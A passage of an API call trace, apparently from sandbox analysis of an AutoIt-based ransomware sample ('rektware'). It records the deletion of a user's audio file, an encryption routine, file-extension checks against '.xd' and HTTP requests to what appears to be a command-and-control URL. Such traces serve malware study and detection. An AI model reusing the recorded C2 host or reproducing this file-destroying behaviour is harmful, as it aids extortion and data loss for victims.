wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.178] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.178] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.178] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.178] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.178] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.178] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.178] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.178] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.179] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.179] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.179] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.179] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.179] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.179] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.179] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.179] CryptReleaseContext (hProv=0x17abc38, dwFlags=0x0) returned 1 [0065.179] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.179] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.179] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.179] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.179] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.179] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.179] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.179] CloseHandle (hObject=0x3bc) returned 1 [0065.180] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.180] CloseHandle (hObject=0x2ac) returned 1 [0065.186] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.186] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.186] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", lpFilePart=0x0) returned 0x47 [0065.186] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\s lyi1rdoj.wav")) returned 0x20 [0065.187] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0065.187] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\s lyi1rdoj.wav")) returned 1 [0065.190] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.190] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0065.190] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.190] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.190] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.190] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.190] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0065.191] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0065.191] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.191] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0065.191] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.191] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0065.191] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0065.191] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ef8c) returned 1 [0065.191] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.191] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.191] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.192] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0065.192] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0065.192] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0065.192] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0065.192] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629210, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629210*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0065.194] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.194] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.194] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.194] CloseHandle (hObject=0x0) returned 0 [0065.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.194] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.202] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UCLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CLz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lz\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zhbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hbDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bDg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dg\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tEyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yRE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RE16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="16q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RUQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UQ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0065.204] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0065.204] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.204] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0065.204] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.204] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0065.204] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0065.204] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0065.204] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0065.204] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0065.205] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, 